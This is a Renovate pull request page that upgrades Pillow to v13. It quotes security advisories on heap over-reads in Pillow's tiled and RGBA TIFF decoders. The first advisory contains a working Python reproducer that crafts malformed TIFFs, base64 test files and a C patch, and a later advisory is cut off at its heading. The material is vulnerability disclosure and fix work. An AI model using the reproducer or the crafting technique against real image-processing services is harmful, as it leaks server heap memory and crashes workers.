Skip to content

Update dependency pillow to v13 [SECURITY] - #896

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pillow-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/pypi-pillow-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Oct 22, 2026 •

Copy link
Copy Markdown
Contributor

Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
pillow (changelog) >=12.0.0,<13.0.0 → >=13.0.0,<13.1.0 age confidence

Pillow: OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels

CVE-2026-112404 / GHSA-c6hw-5grf-ff96

More information

Details

============================================================================
OOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels
Location: src/libImaging/TiffDecode.c:483  in _decodeTile()
Commit:   a707c6b21c313880d0771e54965d142dd42358b6
============================================================================

Pillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process's heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.

The bug is in _decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c. Both size their decode buffer from libtiff's view of the pixel layout (TIFFTileSize()/TIFFTileRowSize(), or img.width * 4). They then unpack each row with the unpacker that TiffImagePlugin._setup() chose from Pillow's own parse of the directory, and neither checks that the unpacker's input row fits inside the row libtiff produced. _decodeStrip() has exactly this check, added for OSS-Fuzz crash-0da0 in 8.2.0, but the tile and RGBA paths never got it.

The two parsers can be made to disagree with a duplicated PhotometricInterpretation or BitsPerSample tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.

The tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).

The attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc's malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in copy4 ← _decodeTile (TiffDecode.c:483) in most runs, depending on what is mapped after the buffer.

Details

_decodeTile() and _decodeAsRGBA() in src/libImaging/TiffDecode.c size state->buffer from what libtiff says it will produce (TIFFTileSize(), resp. img.width * 4), but unpack each row with the shuffler that TiffImagePlugin._setup() selected from Pillow's own parse of the IFD. Nothing in either function checks that the unpacker's input row (width * state->bits / 8 bytes) fits inside the row libtiff wrote. _decodeStrip() has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout — a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated PhotometricInterpretation/BitsPerSample/SamplesPerPixel entry (libtiff keeps the first occurrence, ImageFileDirectory_v2.load() the last) — the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff's actual sample layout works (RGBX, RGB;16N, RGBA;16N, I;32, F;32F, …); RGBA;16N (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.

The ~400-byte TIFF tile_count2.tif generated by the reproducer — one 16x16 tile, BitsPerSample 8, SamplesPerPixel 1, Compression 8 (Adobe Deflate), and PhotometricInterpretation written as a SHORT with count 2 (6, 6) — is opened by Image.open() as mode RGB with libtiff rawmode RGBX, and load() succeeds on the stock build. Rows 13–15 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under MALLOC_PERTURB_=85 and =170 yields identical rows 0–12 and different bytes in rows 13–15 (aa vs 55, i.e. glibc's fill pattern). Under an ASan build of the extensions the same load() reports heap-buffer-overflow READ of size 64 in copy4 (src/libImaging/Unpack.c:1290) called from src/libImaging/TiffDecode.c:483, against the 256-byte region allocated at TiffDecode.c:448. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in copy4 ← _decodeTile reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).

Why the two parsers disagree

libtiff 4.5 rejects a PhotometricInterpretation entry whose count is not 1 (TIFFFetchNormalTag: Incorrect count for "PhotometricInterpretation"; tag ignored), so for this file TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, …) returns 0 and libtiff treats the data as one 8-bit sample per pixel: TIFFTileSize() = 256, TIFFTileRowSize() = 16.

Pillow keeps the first value and carries on:

##### src/PIL/TiffImagePlugin.py:762-770  (ImageFileDirectory_v2._setitem, reached from load())
            try:
                (dest[tag],) = values
            except ValueError:
                # We've got a builtin tag with 1 expected entry
                warnings.warn(f"Metadata Warning, tag {tag} had too many entries: ...")
                dest[tag] = values[0]

so _setup() sees photo == 6. OPEN_INFO[(II, 6, (1,), 1, (8,), ())] is ("L", "L"), and because the file is compressed the libtiff branch then overrides the rawmode:

##### src/PIL/TiffImagePlugin.py:1578, 1600-1607
        self.use_load_libtiff = READ_LIBTIFF or self._compression != "raw"
        …
            if photo == 6:
                self._mode = "RGB"
                if self._compression in "jpeg" and self._planar_configuration == 1:
                    rawmode = "RGB"
                else:
                    rawmode = "RGBX"

RGBX is a 32-bit rawmode, so get_unpacker() (src/decode.c:301-309) sets state->bits = 32 and state->shuffle = copy4. The intent of the photo == 6 override is that libtiff will deliver RGBA through TIFFRGBAImage, but that decision is made in C from libtiff's reading of the tag, which here is "not YCbCr":

// src/libImaging/TiffDecode.c:737-764
    TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, &photometric);   // unset -> stays 0
    …
    readAsRGBA = photometric == PHOTOMETRIC_YCBCR;          // 0
    …
        if (TIFFIsTiled(tiff)) {
            _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4
The missing check

_decodeTile() only guards against libtiff's tile being larger than what the unpacker expects, then allocates exactly TIFFTileSize() bytes and feeds row_byte_size-strided rows to the shuffler:

// src/libImaging/TiffDecode.c:403-487  (_decodeTile)
    tile_bytes_size = TIFFTileSize(tiff);                      // 256
    …
    row_byte_size = TIFFTileRowSize(tiff);                     // 16
    …
    if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
        // 256 > 1024 is false -> no abort
        …
    }
    state->bytes = tile_bytes_size;
    new_data = realloc(state->buffer, state->bytes);           // 256-byte buffer (line 448)
    …
                for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
                    shuffler(                                   // copy4: reads current_tile_width*4 = 64 bytes
                        (UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
                        state->buffer + tile_y * row_byte_size, // from offset 16*tile_y
                        current_tile_width
                    );

Row tile_y is read from [16·tile_y, 16·tile_y + 64); for tile_y = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to (state->bits / libtiff_bits_per_pixel − 1) × row_byte_size bytes, and row_byte_size scales with the attacker-chosen TileWidth.

Note also that the existing one-sided check at line 434 multiplies the file-controlled tile_width/tile_length (UINT32, accepted up to INT_MAX at line 428) by state->bits in 32-bit unsigned arithmetic, so tile_width * state->bits wraps for tile_width ≥ 2^32 / bits (2^26 for the 64-bit rawmodes, 2^27 for RGBX/I;32/F;32F). An 8 KB file declaring a 2,097,152×1 image with TILEWIDTH = 2^26+16, TILELENGTH = 1, 1-bit data for libtiff and RGBA;16N for Pillow makes libtiff allocate an ~8 MB tile from which unpackRGBA16L reads 16 MB, and the stock build SIGSEGVs in unpackRGBA16L ← _decodeTile (TiffDecode.c:483); a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.

Compare the strip path, which refuses this situation (added for OSS-Fuzz crash-0da0 in 8.2.0):

// src/libImaging/TiffDecode.c:528-548  (_decodeStrip)
    unpacker_row_byte_size = (state->xsize * state->bits / planes + 7) / 8;
    …
    row_byte_size = TIFFScanlineSize(tiff);
    // if the unpacker calculated row size is > row byte size, (at least) the last
    // row of the strip will have a read buffer overflow.
    if (row_byte_size == 0 || unpacker_row_byte_size > row_byte_size) {
        state->errcode = IMAGING_CODEC_BROKEN;
        return -1;
    }

The identical file written with one strip instead of one tile fails load() with OSError: decoder error -2 because of this check.

Same gap in _decodeAsRGBA()

_decodeAsRGBA() always produces img.width * 4 bytes per row (TiffDecode.c:325, buffer allocated at line 339) and unpacks with state->shuffle (line 373) without looking at state->bits. It is reached when libtiff sees YCbCr while Pillow does not force RGBX. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow's ImageFileDirectory_v2.load() overwrites (TiffImagePlugin.py:945, last wins). The reproducer's ycbcr_dup.tif is a 16x16 Deflate strip with PhotometricInterpretation present twice (6, then 2) and BitsPerSample twice (8,8,8, then 16,16,16): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects RGB;16N (state->bits = 48), and unpackRGB16L reads 96 bytes per 64-byte row — ASan reports heap-buffer-overflow in unpackRGB16L (Unpack.c:609) from TiffDecode.c:373, past the 1024-byte region from TiffDecode.c:339.

The count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample photo == 6 file only gets rawmode RGBX since the unreleased commit 155330d63 ("Do not open YCbCr colorspace images as RGB without libtiff (#​9779)", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two PhotometricInterpretation entries (1 or 2, then 6) produces the same copy4 ← _decodeTile over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps 6 and unpacks 4 (the reproducer's tile_dup.tif). ycbcr_dup.tif above reaches _decodeAsRGBA() the same way.

Impact

Any application that calls Image.open() + load() (or thumbnail(), convert(), save(), …) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and TiffDecode.c without READ_LIBTIFF being set. The over-read bytes are copied into the image's pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included — up to three libtiff tile rows past the buffer for the RGBX-over-8-bit case, with the tile row length (TileWidth) chosen by the attacker. state->buffer is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about (unpacker_bpp / libtiff_bpp − 1) tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized Imaging rows, so this is disclosure / crash, not memory corruption.

This is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in TiffDecode.c); that fix and the later crash-0da0 fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow's rawmode over libtiff's row size. The tile-path gap was introduced in 1c295bf43c3a ("Check for dimensions and sizes to fit into int", 2021-01-25), which switched _decodeTile() from a buffer sized by Pillow's unpacker to TIFFTileSize()/TIFFTileRowSize(); it is first in Pillow 8.2.0. The _decodeAsRGBA() half dates from eb8c1206d6b1 ("Fix CVE-2020-35654 - OOB Write in TiffDecode.c"), first in 8.1.0.

Reproducing

Run repro (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.

The script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and TiffDecode.c. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:

  • tile_count2.tif: a 16x16, 1-sample, 8-bit tile with PhotometricInterpretation written as SHORT count 2, (6, 6). Pillow keeps 6 and unpacks with copy4 (RGBX, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).
  • tile_dup.tif: a 16x16, 3-sample, 8-bit tile with PhotometricInterpretation present twice, 2 then 6. libtiff keeps 2 (RGB, 3 bytes per pixel) and Pillow keeps 6 (RGBX, 4 bytes per pixel). This variant also applies to released versions.
  • ycbcr_dup.tif: the 16x16 strip with BitsPerSample 8,8,8 then 16,16,16 and PhotometricInterpretation 6 then 2. libtiff decodes 8-bit YCbCr through _decodeAsRGBA() (4 bytes per pixel), and Pillow unpacks RGB;16N with unpackRGB16L (6 bytes per pixel).
  • tile_big.tif: the tile_count2.tif layout with a single 65536x16 tile.

For each of the first three files, the script runs Image.open() + load() + tobytes() twice, once with MALLOC_PERTURB_=85 and once with =170. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the aa/55 fill bytes show up, along with heap pointer bytes. The script then decodes tile_big.tif and checks for a SIGSEGV (exit status -11). If gdb is available, it prints the top frames: copy4 (Unpack.c:1290) ← _decodeTile (TiffDecode.c:483) ← ImagingLibTiffDecode. This crash depends on ASLR, so an occasional run may survive.

Each step prints which _imaging build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is BUG if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is OK.

Suggested fix

The attached patch restores the _decodeStrip() invariant (the unpacker's input row must fit inside libtiff's row) in the two sibling decoders in src/libImaging/TiffDecode.c, at the point where each one sizes its buffer:

  • _decodeTile() computes unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8 (the tsize_t cast keeps the product out of 32-bit arithmetic, so the TILEWIDTH = 2^26+16 case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing TIFFTileSize() sanity check, as _decodeStrip() does for strips. After that check and before the realloc, it fails with IMAGING_CODEC_BROKEN when unpacker_row_byte_size > row_byte_size (TIFFTileRowSize()).
  • _decodeAsRGBA() fails with IMAGING_CODEC_BROKEN when state->bits > 32, because TIFFRGBAImage rows are always 32 bits per pixel. This check runs before TIFFRGBAImageBegin() and any allocation.

With the patch, the tile and RGBA files fail load() with OSError: decoder error -2, the same result the equivalent strip file already gets. The patch also adds a regression test to Tests/test_file_libtiff.py (test_unpacker_row_wider_than_libtiff_row). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file's existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and Tests/test_file_tiff.py, Tests/test_file_libtiff.py and Tests/test_tiff_crashes.py pass.

These checks close the over-read however the two parsers are made to disagree. Separately, _setup() could stop deriving the libtiff rawmode from tags that libtiff will read differently — e.g. treat a PhotometricInterpretation/BitsPerSample/Compression that is not a single well-typed value as "unknown pixel mode", the way ImageWidth/ImageLength are already required to be int at TiffImagePlugin.py:1473, or have ImageFileDirectory_v2.load() keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) — but that only narrows the ways to reach the C-side gap rather than removing it: TiffImagePlugin cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.

The patch

Reject TIFFs whose unpacker row is wider than libtiff's decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does

Applies to src/libImaging/TiffDecode.c at the commit above.

diff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py
index 3d804ea4a..c08dfe77c 100644
--- a/Tests/test_file_libtiff.py
+++ b/Tests/test_file_libtiff.py
@@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase):
             with pytest.raises(OSError, match="decoder error -9"):
                 im.load()
 
+    @pytest.mark.parametrize(
+        "data",
+        (
+            # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that
+            # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel)
+            # while libtiff ignores it and decodes 1 byte/pixel.
+            (
+                b"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA"
+                b"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA"
+                b"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4"
+                b"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm"
+                b"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT"
+                b"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A"
+                b"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt"
+                b"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna"
+                b"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo="
+            ),
+            # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation
+            # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA)
+            # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel).
+            (
+                b"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA"
+                b"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA"
+                b"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB"
+                b"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS"
+                b"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3"
+                b"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J"
+                b"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x"
+                b"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w"
+                b"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x"
+                b"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA"
+                b"EAAQAA=="
+            ),
+        ),
+    )
+    @pytest.mark.filterwarnings("ignore:Metadata Warning")
+    def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -> None:
+        # The unpacker chosen by Pillow reads more bytes per row than libtiff
+        # decoded, so the decoder must reject the image rather than read past
+        # the end of its buffer
+        with Image.open(io.BytesIO(base64.b64decode(data))) as im:
+            with pytest.raises(OSError, match="decoder error -2"):
+                im.load()
+
     @pytest.mark.parametrize("compression", ("tiff_adobe_deflate", "jpeg"))
     def test_save_multistrip(self, compression: str, tmp_path: Path) -> None:
         im = hopper("RGB").resize((256, 256))
diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c
index 8a57c523d..2ee6c5f0a 100644
--- a/src/libImaging/TiffDecode.c
+++ b/src/libImaging/TiffDecode.c
@@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) {
 
     TRACE(("RowsPerBlock: %u \n", rows_per_block));
 
+    // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel
+    // than that, (at least) the last row of the block will have a read buffer
+    // overflow.
+    if (state->bits > 32) {
+        TRACE(("Decode Error, unpacker bits %d > 32\n", state->bits));
+        state->errcode = IMAGING_CODEC_BROKEN;
+        return -1;
+    }
+
     if (!(TIFFRGBAImageOK(tiff, emsg) && TIFFRGBAImageBegin(&img, tiff, 0, emsg))) {
         TRACE(("Decode error, msg: %s", emsg));
         state->errcode = IMAGING_CODEC_BROKEN;
@@ -397,7 +406,7 @@ _decodeTile(
 ) {
     INT32 x, y, tile_y, current_tile_length, current_tile_width;
     UINT32 tile_width, tile_length;
-    tsize_t tile_bytes_size, row_byte_size;
+    tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size;
     UINT8 *new_data;
 
     tile_bytes_size = TIFFTileSize(tiff);
@@ -431,7 +440,8 @@ _decodeTile(
         return -1;
     }
 
-    if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
+    unpacker_row_byte_size = ((tsize_t)tile_width * state->bits / planes + 7) / 8;
+    if (tile_bytes_size > (unpacker_row_byte_size * tile_length)) {
         // If the tile size as expected by LibTiff isn't what we're expecting, abort.
         // man:   TIFFTileSize returns the equivalent size for a tile of data as it
         // would be returned in a call to TIFFReadTile ...
@@ -439,6 +449,13 @@ _decodeTile(
         return -1;
     }
 
+    // if the unpacker calculated row size is > row byte size, (at least) the last
+    // row of the tile will have a read buffer overflow.
+    if (unpacker_row_byte_size > row_byte_size) {
+        state->errcode = IMAGING_CODEC_BROKEN;
+        return -1;
+    }
+
     state->bytes = tile_bytes_size;
 
     TRACE(("TIFFTileSize: %d\n", state->bytes));
The reproducer
Reproducer — repro, 4,178 bytes (click to open)

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

#!/usr/bin/env python3
##### Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build,

##### no sanitizer needed.  Pillow picks the row unpacker from its own IFD parse, libtiff sizes the
##### decode buffer from its parse; when they disagree the unpacker reads past state->buffer and the

##### bytes land in the image.  Evidence: (1) pixels of a fully-defined 16x16 file change with glibc's
##### MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile

##### SIGSEGVs in copy4 <- _decodeTile.  Runs in a few seconds.
import os, shutil, struct, subprocess, sys, tempfile, zlib

W = tempfile.mkdtemp(); S, L = 3, 4

def tiff(entries, data):                      # little-endian classic TIFF, one IFD, tags in given order
    data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data)
    ifd, extra = struct.pack("<H", len(entries)), b""
    for tag, typ, vals in entries:
        if vals is None: typ, vals = L, [data_off]
        raw = b"".join(struct.pack("<H" if typ == S else "<L", v) for v in vals)
        if len(raw) > 4: raw, extra = struct.pack("<L", extra_off + len(extra)), extra + raw
        ifd += struct.pack("<HHL", tag, typ, len(vals)) + raw.ljust(4, b"\0")
    return b"II*\0" + struct.pack("<L", 8) + ifd + b"\0" * 4 + data + extra

def tile(w, h, spp, photo):                   # one deflate tile, 8 bit/sample
    d = zlib.compress(bytes(i % 251 for i in range(w * h * spp)))
    return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo +
                [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)

d = zlib.compress(bytes(range(256)) * 3)
files = {
  # Photometric count 2 (6,6): libtiff ignores tag -> 1 B/px; Pillow keeps 6 -> RGBX copy4 4 B/px (HEAD only)
  "tile_count2.tif": tile(16, 16, 1, [(262, S, [6, 6])]),
  # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions)
  "tile_dup.tif": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]),
  # strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px
  "ycbcr_dup.tif": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]),
        (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]),
        (530, S, [1, 1])], d),
  "tile_big.tif": tile(65536, 16, 1, [(262, S, [6, 6])]),
}
for n, b in files.items():
    open(f"{W}/{n}", "wb").write(b)

LOAD = r"""
import sys, warnings; warnings.simplefilter("ignore")
from PIL import Image
im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr)
im.load(); sys.stdout.write(im.tobytes().hex())
"""
def run(name, perturb):
    p = subprocess.run([sys.executable, "-c", LOAD, f"{W}/{name}"], capture_output=True, text=True,
                       env=dict(os.environ, MALLOC_PERTURB_=str(perturb)))
    return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [""]

leak = False
for n in ("tile_count2.tif", "tile_dup.tif", "ycbcr_dup.tif"):
    r1, a, info = run(n, 85); r2, b, _ = run(n, 170)
    print(f"== {n}: {info[0]} rc={r1},{r2}")
    if r1 == 0 and r2 == 0 and a != b:
        i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2])
        print(f"   pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:")
        print(f"   PERTURB=85 : ...{a[i-8:i+40]}\n   PERTURB=170: ...{b[i-8:i+40]}")
        leak = True
    else:
        print("   identical output / error -> no leak observed")

rc, _, info = run("tile_big.tif", 0)
print(f"== tile_big.tif: {info[0]} rc={rc}" + ("  (SIGSEGV)" if rc == -11 else ""))
crash = rc == -11
if crash and shutil.which("gdb"):
    bt = subprocess.run(["gdb", "-batch", "-ex", "run", "-ex", "bt 4", "--args", sys.executable, "-c", LOAD,
                         f"{W}/tile_big.tif"], capture_output=True, text=True).stdout
    print("\n".join(l for l in bt.splitlines() if l.startswith("#")))
shutil.rmtree(W)
print(f"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}")
print("BUG" if leak or crash else "OK")

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow tiled-TIFF decoder reads past tile buffer in copy4 (Unpack.c:1290)

CVE-2026-112395 / GHSA-462x-pgg6-55fp

More information

Details

Summary

Pillow's libImaging _decodeTile decoder, used to decode tiled TIFF images, allocates a per-tile buffer using realloc(state->buffer, TIFFTileSize(tiff)). After each TIFFReadTile it then iterates tile_y from 0 up to current_tile_length and calls the configured row unpacker (here copy4) with the source pointer state->buffer + tile_y * row_byte_size. When libtiff returns a tile_bytes_size smaller than the worst-case row_byte_size * tile_length, the inner stride-and-copy loop walks past the realloc'd region and copy4 performs a 1024-byte memcpy that reads up to (tile_length-1) * row_byte_size + row_byte_size bytes from a buffer sized only to tile_bytes_size. The supplied PoC TIFF triggers a 1024-byte over-read exactly 0 bytes past a 196608-byte allocation. An attacker who can convince a Pillow-using application to decode a crafted TIFF can trigger a process crash (DoS) and may cause adjacent heap memory to be copied into the decoded pixel buffer.

Details

Pillow's TIFF decoder, when libtiff reports the file is tiled, takes the _decodeTile path. The function:

  1. Asks libtiff for TIFFTileSize(tiff) (the bytes-per-tile) and TIFFTileRowSize(tiff) (the bytes per row as stored by libtiff).
  2. Reallocates state->buffer to exactly tile_bytes_size.
  3. For each tile origin (x, y) and each plane, calls TIFFReadTile into state->buffer, then walks the tile row by row, calling the configured ImagingShuffler (here copy4) on each row's worth of source bytes.

The validation done before the loop is:

if (tile_bytes_size > ((tile_length * state->bits / planes + 7) / 8) * tile_width) {
    state->errcode = IMAGING_CODEC_BROKEN;
    return -1;
}

This rejects oversized libtiff tiles, but it does not reject undersized ones — i.e. the case where libtiff returns a tile_bytes_size strictly less than row_byte_size * tile_length. The loop body, however, indexes into the buffer assuming the buffer is at least row_byte_size * tile_length bytes long.

Vulnerable Code
// src/libImaging/TiffDecode.c:446-490 — _decodeTile
new_data = realloc(state->buffer, state->bytes);   // bytes = tile_bytes_size
if (!new_data) { ... }
state->buffer = new_data;

for (y = state->yoff; y < state->ysize; y += tile_length) {
    for (plane = 0; plane < planes; plane++) {
        ImagingShuffler shuffler = unpackers[plane];
        for (x = state->xoff; x < state->xsize; x += tile_width) {
            if (TIFFReadTile(tiff, (tdata_t)state->buffer, x, y, 0, plane) == -1) { ... }

            current_tile_width  = min((INT32)tile_width,  state->xsize - x);
            current_tile_length = min((INT32)tile_length, state->ysize - y);
            for (tile_y = 0; tile_y < current_tile_length; tile_y++) {
                shuffler(
                    (UINT8 *)im->image[tile_y + y] + x * im->pixelsize,
                    state->buffer + tile_y * row_byte_size,   // <-- OOB stride
                    current_tile_width
                );
            }
        }
    }
}
// src/libImaging/Unpack.c:1288-1291 — copy4 (the crash site)
static void
copy4(UINT8 *out, const UINT8 *in, int pixels) {
    /* RGBA, CMYK quadruples */
    memcpy(out, in, 4 * pixels);   // <-- ASAN-detected READ here
}

The PoC's tile metadata yields tile_width = tile_length = 256, row_byte_size = 1024 (4 bytes/pixel × 256 pixels), and tile_bytes_size = 196608 (which is 256·256·3 = three-channel-byte storage). The realloc'd buffer is 196608 bytes. The unpacker iterates tile_y from 0 to 255 and for the highest rows the source pointer state->buffer + tile_y * 1024 already lies at or past offset 196608 — the very last row's memcpy(in=buffer+255·1024, 1024) reads 1024 bytes starting 260096 - 196608 = 63488 bytes past the allocation; ASAN flags the very first byte past the heap region (READ of size 1024 at … 0 bytes after 196608-byte region).

The mismatch is real: libtiff's TIFFTileSize returns the packed per-tile storage (which depends on the file's photometric/separation layout — it can legitimately be smaller than row_byte_size × tile_length), while the inner loop strides as if the buffer always equals row_byte_size × tile_length.

Attribution

This issue was found by Anthropic from using Claude to study security of open source projects, and I am from Ada Logics helping validate the found issues and report to maintainers. The data in this report has been reviewed manually.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Pillow: Unbounded recursion parsing a PDF page tree or trailer chain (incomplete fix for CVE-2026-42310)

CVE-2026-112895 / GHSA-p4wg-p73j-c528

More information

Details

Summary

